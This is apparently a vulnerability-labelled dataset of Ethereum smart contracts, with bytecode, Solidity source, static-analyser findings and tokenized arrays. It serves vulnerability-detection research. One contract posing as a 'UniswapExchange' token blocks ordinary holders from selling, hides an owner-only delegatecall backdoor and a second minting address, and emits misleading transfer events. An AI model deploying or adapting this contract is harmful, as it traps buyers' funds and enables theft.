73206e6f7420746865206f776e6572604082015260600190565b60208082526015908201527466656573206f757473696465206f662072616e676560581b604082015260600190565b82815260406020820152600061387a6040830184613732565b949350505050565b85815284602082015260a0604082015260006138a160a0830186613732565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156138d1576138d1613982565b500190565b6000826138f157634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561391057613910613982565b500290565b60008282101561392757613927613982565b500390565b600181811c9082168061394057607f821691505b6020821081141561396157634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561397b5761397b613982565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146139c357600080fd5b50565b80151581146139c357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c2eae828a947d7c9f0af3ed6de82aa40f292a7f54bd4584c0f33d343297f23f164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 26337, 2475, 2497, 2575, 2094, 2549, 6679, 2487, 11329, 2509, 2050, 22275, 26224, 2094, 2629, 2497, 2692, 27009, 16020, 26337, 6679, 20958, 26337, 2620, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 3477, 3085, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,014
0x960fde301066b14650ff3e2b9f7f7c8851a39cc0
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (858749215588756578423191794544755661730712473314)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610a77565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610e36565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610e53565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611213565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611324565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073966ba5893e7fa30d0139e7ce81affc6a4d394ee273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109c257600080fd5b6000821115610a16576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610b365760019050610e2f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7d5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610c88848484611349565b610c9157600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cdd57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eaf57600080fd5b60008311610ebe576000610ec6565b6012600a0a83025b60028190555060008211610edb576000610ee3565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f8d5780601f10610f6257610100808354040283529160200191610f8d565b820191906000526020600020905b815481529060010190602001808311610f7057829003601f168201915b505050505081565b6000610fa2338484610b23565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461100657600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561105a57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b84518110156112075760008582815181106110c457fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002888161117457fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600288816111e357fe5b046040518082815260200191505060405180910390a35080806001019150506110ad565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461126d57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106112b85780518252602082019150602081019050602083039250611295565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114611318576040519150601f19603f3d011682016040523d82523d6000602084013e61131d565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b60008061137f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230611585565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061142a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806114745750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806114aa57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115025750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806115565750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156557600191505061157e565b61156f8584611713565b61157857600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106115c45783856115c7565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561172857506000600254145b801561173657506000600354145b1561174457600090506117e3565b600060045411156117a0576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179f57600090506117e3565b5b600060025411156117bf578160025411156117be57600090506117e3565b5b600060035411156117de576003548211156117dd57600090506117e3565b5b600190505b9291505056fea265627a7a72315820d3c4b8e97570471c5078c62e9cafea0e7f586ad5238e67688d2f7cce1b41620a64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 2546, 3207, 14142, 10790, 28756, 2497, 16932, 26187, 2692, 4246, 2509, 2063, 2475, 2497, 2683, 2546, 2581, 2546, 2581, 2278, 2620, 27531, 2487, 2050, 23499, 9468, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,015
0x960FE9143853a13fDdA883C3E9E08FE7750B2c35
pragma solidity 0.5.16; import "./Governable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./uniswap/interfaces/IUniswapV2Router02.sol"; contract FeeRewardForwarder is Governable { using SafeERC20 for IERC20; using SafeMath for uint256; address public force; address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address public constant wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); address public constant renBTC = address(0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D); address public constant sushi = address(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); address public constant dego = address(0x88EF27e69108B2633F8E1C184CC37940A075cC02); address public constant uni = address(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984); address public constant comp = address(0xc00e94Cb662C3520282E6f5717214004A7f26888); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant idx = address(0x0954906da0Bf32d5479e25f46056d22f08464cab); address public constant idle = address(0x875773784Af8135eA0ef43b5a374AaD105c5D39e); address public constant ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); mapping(address => mapping(address => address[])) public uniswapRoutes; mapping(address => address) public useSushiswap; // determines which part of the route to liquidate on Sushiswap // the targeted reward token to convert everything to // initializing so that we do not need to call setTokenPool(...) address public targetToken; address public profitSharingPool = address(0x99414B029Bf6d9B9941BA3f22252aCBD2bE50FD9); address public constant uniswapRouterV2 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant sushiswapRouterV2 = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); event TokenPoolSet(address token, address pool); constructor(address _storage, address _force) public Governable(_storage) { require(_force != address(0), "_force not defined"); force = _force; targetToken = force; // preset for the already in use crops uniswapRoutes[weth][force] = [weth, force]; uniswapRoutes[dai][force] = [dai, weth, force]; uniswapRoutes[usdc][force] = [usdc, force]; uniswapRoutes[usdt][force] = [usdt, weth, force]; uniswapRoutes[wbtc][force] = [wbtc, weth, force]; uniswapRoutes[renBTC][force] = [renBTC, weth, force]; // use Sushiswap for SUSHI, convert into WETH useSushiswap[sushi] = weth; // the name remains uniswapRoutes for simplicity even though the route is actually for Sushiswap uniswapRoutes[sushi][weth] = [sushi, weth]; uniswapRoutes[dego][force] = [dego, weth, force]; uniswapRoutes[crv][force] = [crv, weth, force]; uniswapRoutes[comp][force] = [comp, weth, force]; uniswapRoutes[idx][force] = [idx, weth, force]; uniswapRoutes[idle][force] = [idle, weth, force]; //weth uniswapRoutes[dai][weth] = [dai, weth]; uniswapRoutes[usdc][weth] = [usdc, weth]; uniswapRoutes[usdt][weth] = [usdt, weth]; uniswapRoutes[wbtc][weth] = [wbtc, weth]; uniswapRoutes[renBTC][weth] = [renBTC, weth]; uniswapRoutes[sushi][weth] = [sushi, weth]; uniswapRoutes[dego][weth] = [dego, weth]; uniswapRoutes[crv][weth] = [crv, weth]; uniswapRoutes[comp][weth] = [comp, weth]; uniswapRoutes[idx][weth] = [idx, weth]; uniswapRoutes[idle][weth] = [idle, weth]; // usdc uniswapRoutes[weth][usdc] = [weth, usdc]; uniswapRoutes[dai][usdc] = [dai, weth, usdc]; uniswapRoutes[usdt][usdc] = [usdt, weth, usdc]; uniswapRoutes[wbtc][usdc] = [wbtc, weth, usdc]; uniswapRoutes[renBTC][usdc] = [renBTC, weth, usdc]; uniswapRoutes[sushi][usdc] = [sushi, weth, usdc]; uniswapRoutes[dego][usdc] = [dego, weth, usdc]; uniswapRoutes[crv][usdc] = [crv, weth, usdc]; uniswapRoutes[comp][usdc] = [comp, weth, usdc]; } /* * Set the pool that will receive the reward token * based on the address of the reward Token */ function setTokenPool(address _pool) public onlyGovernance { profitSharingPool = _pool; emit TokenPoolSet(targetToken, _pool); } /** * Sets the path for swapping tokens to the to address * The to address is not validated to match the targetToken, * so that we could first update the paths, and then, * set the new target */ function setConversionPath( address from, address to, address[] memory _uniswapRoute ) public onlyGovernance { require( from == _uniswapRoute[0], "The first token of the Uniswap route must be the from token" ); require( to == _uniswapRoute[_uniswapRoute.length - 1], "The last token of the Uniswap route must be the to token" ); uniswapRoutes[from][to] = _uniswapRoute; } /** * Sets whether liquidation happens through Uniswap or Sushiswap * Setting to address (0) switches to Uniswap */ function setUseSushiswap(address from, address _value) public onlyGovernance { useSushiswap[from] = _value; } // Transfers the funds from the msg.sender to the pool // under normal circumstances, msg.sender is the strategy function 